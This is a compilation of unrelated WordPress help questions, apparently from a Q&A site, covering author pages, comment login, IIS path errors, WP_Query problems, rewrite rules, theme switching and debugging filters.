I have a problem with my wordpress blog here. everything seems to be working fine but the problem is after each post i am appending author information like the image below ![Murali Prashanth](http://i.stack.imgur.com/fxVmg.jpg) but when i click on the > View all posts by Murali Prashanth hyperlink it's redirecting me to this URL http://muraliprashanth.me/author/Murali%20Prashanth/ I don't know where to create the author profile page or does my wordpress theme supports author profile pages or not Please suggest me i am struggling to resolve this issue from past 3 months, Help is much appreciated. Thanks in advance.


Need an advice about comments

I am searching a solution for wordpress comments. I like standart comments, I already styled it and made some additionaly functionality. But there is one that I can't find and don't know how to make it. I need an ability for unregistered users to left comments using some social service, ![like at blogspot](http://i.stack.imgur.com/0mrY0.png). So, I don't want to offer them ability to log-in using their social service, but only to comment. UPD: I didn't know about such rule. So ok, how can I realize this functionality? I mean authorization with accounts from any social service only to post a comment?


Problems with 'require (./xxx)' on IIS7.5

I'm not sure if this is best suited to the Wordpress SE site or if it should be on Server Fault or SO... Either way: I'm having problems running Wordpress on a brand new 2008R2 server running IIS7.5. I get an error stating that a required file cannot be found: > PHP Fatal error: require(): Failed opening required './wp-blog-header.php' > (include_path='.;C:\php\pear') in D:\path\to\my\site\blog\index.php on line > 17 Having looked around the web I can see that a lot of people have had this problem and fixed it by removing the './' part of the require statement - however this is not a good solution. The same syntax is used all over Wordpress and needs to be replaced across many files. Additionally if I update the site, the problem will reoccur. I have this working with no problems on an R1 (IIS7) server and also on my local Win 7 machine - the first I've seen of this issue is here on the R2 server. Can anyone give me any help to get './' relative paths working for Wordpress? Thanks


get featured image url by page id

I am using `wordpress 3.4.1`. I need to display the featured image of a page. How can i get the `featured image url` by particular `page id`. Any help?


Wp-ecommerce plugin not working with Mobile detecter plugin?

I create new theme for mobile website. and also desktop website. I use Mobile Detecter Plugin for switching theme. But some issue occur when i switch desktop to mobile website and again switch to mobile to desktop that time my store page is call mobile template. Can anybody suggest me for switching theme which is better plugin for switching theme ? Please give me suggestion what kind of issue occur.


Want to modify a Plugin - Tweetily - Can I make it tweet a Custom Field instead of Post Title?

http://wordpress.org/extend/plugins/tweetily-tweet-wordpress-posts- automatically/ I was wondering if somehow it's possible to make it tweet a Custom Field instead of Post Title? in top-core.php, at line 214               if ($tweet_type == "title" || $tweet_type == "titlenbody") {             $title = stripslashes($post->post_title);             $title = strip_tags($title);             $title = preg_replace('/\s\s+/', ' ', $title);         } else {             $title = "";         }      Can I replace post_title with something else which can do the trick?


Attachment image single page

How do I make a single post page for a single attachment image below and link to it?               <?php get_header(); ?>
     <?php if (have_posts()) : ?>

<?php single_cat_title(); ?>

     <?php while (have_posts()) : the_post(); ?>     <?php $images = get_post_meta($post->ID, 'za_plupload');  ?>     <?php        $images = implode( ',' , $images );     $images = $wpdb->get_col( "     SELECT ID FROM {$wpdb->posts}     WHERE post_type = 'attachment'     AND ID in ({$images})     ORDER BY menu_order ASC     " );     ?>     <?php $i = 0; ?>     <?php foreach ($images as $att) {     $src = wp_get_attachment_image_src($att, 'full');     $src = $src[0];      $image_path =  thumbGen($src,330,0,"crop=1&halign=center&valign=center&return=1");     $image_all = get_bloginfo('url').$image_path;     $my_image = array_values(getimagesize($image_all));     list($width, $height, $type, $attr) = $my_image;     ?>     <li class="box image_holder" style="height:<?php echo $height; ?>px!important;"><a href="<?php echo $image_path2; ?>" style="height:<?php echo $height; ?>px!important;"><img src="<?php echo $image_path; ?>" alt="" width="330"  height="<?php echo $height; ?>" class="image" />
     <?php $i++; ?>     <?php } ?>     <?php endwhile; ?>

     <?php endif;?>     <?php wp_reset_query(); ?>

     <?php get_footer(); ?>


Doesn´t get right information from wp_Query in wordpress using Easy Content Types

Have problems to sort out right information using WP_Query together with Easy Content Types. My query looks like this               <?php     $query = new WP_Query( array( 'post_type' => 'buildarea',  'territory' => 'centrum' ));     while ($query->have_posts()) :          $query->the_post();         echo the_content();         endwhile;      // Restore original Post Data     wp_reset_postdata(); ?>      territory is a taxonomy and i want to sort out items belong to "centrum" and to the post-type "buildarea". I also have a post-type called "combuilding" using sam taxonomy. When I use the query i got result from both "combuilding" and "buildarea". What have I done wrong? * * * Results from `var_dump($query->request);`               SELECT SQL_CALC_FOUND_ROWS wp_posts.ID      FROM wp_posts      INNER JOIN wp_term_relationships          ON (wp_posts.ID = wp_term_relationships.object_id)          WHERE 1=1          AND ( wp_term_relationships.term_taxonomy_id IN (11) )          AND wp_posts.post_type IN ('combuild', 'residential', 'seniorh', 'avapartm', 'add-contact', 'buildarea', 'gen-inf', 'post', 'page')          AND (wp_posts.post_status = 'publish' OR wp_posts.post_author = 1 AND wp_posts.post_status = 'private')      GROUP BY wp_posts.ID      ORDER BY wp_posts.post_date DESC LIMIT 0, 10


web.config conflict on IIS

folder structure               docroot       |- wordpress          |- web.config           |- wp-content             |- japi                |- index.php                \- web.config          ...       ...      As you can see there are 2 web.config s. One in the wordpress folder and one in wordpress/wp-content/japi folder. **japi/web.config**                 <rules>         <rule name="Imported Rule 1" stopProcessing="true">           <match url="^(.*)$" ignoreCase="false" />           <conditions>             <add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" />             <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" />           </conditions>           <action type="Rewrite" url="index.php?q={R:1}" appendQueryString="true" />         </rule>       </rules>      Now when I request for http://domain.com/wordpress/wp-content/japi/test. The japi/web.config seems to be neglected and only wordpress/web.config is being considered. How can I fix this ?


What is wrong with this wp_query?

I need to query posts by two meta fields and the wo_query I'm doing it with is returning nothing. Obviously, it's broken. Can somebody tell me what I'm doing wrong?               $args = array(                         'post_type' => 'espresso_event',                         'post_status' => 'publish',                         'posts_per_page' => 8,                         'category_name' => 'homepage',                         'meta_query' => array(                             array(                                 'key' => 'event_start_date',                                 'value' => date('Y-m-d'),                                 'compare' => '>=',                                 'type' => 'DATE'                                 ),                             array(                                 'key' => 'event_end_time',                                 'value' => date('g:i A'),                                 'compare' => '>=',                                 'type' => 'TIME'                                 )                             ),                         'orderby' => 'meta_value',                         'order' => 'ASC' // change this to ASC if you want newer events on top                     );             // this saves the query to a temporary location so we can go back to it later after we run our query             $temp = $wp_query;             $wp_query = null;             $wp_query = new WP_Query();             $wp_query->query($args);      The query works without this part:               array(                                 'key' => 'event_end_time',                                 'value' => date('g:i A'),                                 'compare' => '>=',                                 'type' => 'TIME'                                 )      So obviously the problem is there but I don't get an error or anything so I can't see what the problem is.


Multiple templates for a custom post type

As new user to wordpress I'm finding that the preset templates structure a little restricting coming from the flexibility of other template routed CMS I've worked with. Saying this, I know there are plenty of workarounds and I'm now currently in the process of trying to establish them. \-- One of the main hurdles I'm finding is wrangling content into multiple locations. Currently I'm trying to output the same post type content into two sections or templates. For example I have a custom post type "ballons" with ballon related posts. I'd like to output these posts into two different templates / sections (for this example, a normal version and a mobile version) The url structure would ideally represent this: /{post_type}/{post_slug} /ballons/my_red_ballon_post /mobile/ballons/my_red_ballon_post The only way I know how to route this url structure to a specific template, is by using pages. If possible though, I'd like avoid having a entry in pages as there is no page specific content. \-- Once this has been setup I'd like to create a listing page of all my ballons. I'd like to know if this setup is the same or different to just outputting specific posts like above. The url structure would be: /ballons/ /mobile/ballons/ \-- Thanks for your time :D \-- paul


Automate paragraphs in a post page to have a unique anchor link

I have this idea for linking to a paragraph within a post. It would work by every paragraph within `the_content()` on post pages having an anchor tag automatically placed before it, like this: `<a href="#p1"></a>` where '1' is the first paragraph and it would increment for every subsequent paragraph, eg p2, p3, p4... Anyone fancy taking a shot at it would be great? Maybe something in functions.php? Thanks.


Reached end of document without finding - using mod_pagespeed

I'm getting this error repeatedly in my error.log:               [Wed Dec 29 13:46:37 2010] [error] [mod_pagespeed 0.9.11.5-293] http://marcandkatie.co.za/index.php:1: Reached end of document without finding <body>      And I believe it's caused my site todo this when I go to the admin:               Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 4666733 bytes) in /home/marc_and_katie/marcandkatie.co.za/wp-includes/wp-db.php on line 849      Any thoughts?


Images getting corrupt automatically

I had switched theme of my blog, but when i opend my blog i saw there that thumbnail of posts( featured image) are not showing up. I moved to my old theme back but images are still corrupt showing. However when i'm opening my posts every image is there showing perfectly. I'm also unable to upload new image from my media section because after uploading it gets corrupt automatically. My blog is http://mytechflow.com Plz help me guyz.


How to retain visual breadcrumbs w/ tricky URL structure? Custom post template?

I'm building a review site with lots of different categories. Here's what the site strucure is shaping up to be:   * backtoschool.com   * backtoschool.com/reviews/   * backtoschool.com/reviews/calculators   * backtoschool.com/reviews/mechanical-pencils   * backtoschool.com/blog/   * etc I'm trying to maintain a visual hierarchy of site navigation, e.g. users at "backtoschool.com/reviews/calculators" should be able to easily see that they're browsing the Calculators subsection within the Reviews section. Here's where I've given myself a headache. The problem is, I want my individual calculator and whatnot reviews to be located at the root directory, e.g. when users on "website.com/reviews/calculators" click on a link to my TI-83 Review, they should be taken to "website.com/texas-instruments-ti-83-review", NOT "website.com/reviews/calculators/texas-instruments-ti-83-review". This leaves me confused as to how I can retain a logical breadcrumb structure (visually speaking). I was thinking that I could write some kind of IF/THEN statement perhaps in single.php. Maybe I could write something to the effect of IF post category=calculator- review, THEN load calculator-review.css AND write breadcrumb indicators aka "All Reviews --> Calculators" to the HTML just below the main navigation. On calculator-review.css, I would create styles that would give contrast to the main navigation "Reviews" section, and then below that give contrast to "Calculators" placed in the PHP-written breadcrumb. OR - and here's where my head explodes Should I instead create a custom post template like calculator-reviews.php for review section, and then just be sure to use the correct post template for every individual review? This seems easier but I like to keep plugins to a minimum. I would greatly appreciate your help! **EDIT for clarity:** "backtoschool.com/reviews/" is a Page that contains a list of review types, e.g. calculators, pens, etc. "backtoschool.com/reviews/calculators" is a Page that contains a list of individual reviews of calculators, which are Posts located on the root domain, e.g. "backtoschool.com/ti-83-review". Those review Posts will need to somehow be marked so that the WP loop can get all the calculator Posts, and display an excerpt of (some of) them on "backtoschool.com/reviews/calculators/". The review Posts will also need to display breadcrumbs linking back to for example "backtoschool.com/reviews/" and "backtoschool.com/reviews/calculators" IF and ONLY if the user is viewing a review Post on a calculator. **Edit 2:** http://www.touchmyapps.com/category/review/ ^^This site does pretty close to what I want mine to do wrt URLs and breadcrumbs


Producing a list of media library items categorized under a certain taxonomy item

I created a custom taxonomy called "Reference Type" which is used to categorize media library items. In the taxonomy.php page, I want to produce a list of all media library items that are categorized under "Reference Type". How would I go about doing this?


Debug output during filter execution doesn't work

I'm working on my first Wordpress plugin and am working on my first Custom Post Type. I'm looking to provide some debug output so I can see what kind of data I have to work with. I have the following code (some snipped for size):               class MyPlugin_Admin {              ... SNIP ...              private function __construct() {             ... SNIP ...             add_filter( 'wp_insert_post_data', array($this, 'adjust_cpt_data'), 10, 2);         }              public function adjust_cpt_data($data, $postarr) {             var_dump($data);             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             echo "###########################################";             //d($data);             //dd($postarr);             return $data;         }              ... SNIP ...          }      I've tried using all kinds of different outputs. The d() and dd() functions are from Debug Bar and Kint Debugger. They don't work either. If I add some debugging code right under add_filter() that works properly, but not inside adjust_cpt_data(). There is nothing I can do in this function to output data to the screen. I have been able to verify that this code is running, because if I remove the "return $data;" line, the custom post data does not get updated properly, it just refreshes with the old data. Have anyone provide any insight on why this is and how I can print some debugging output to the screen. As a side note, I realize I can get the contents of $data and $postarr by looking at the WP Codex, but I will inevitably run into this issue again when I need to debug my own code.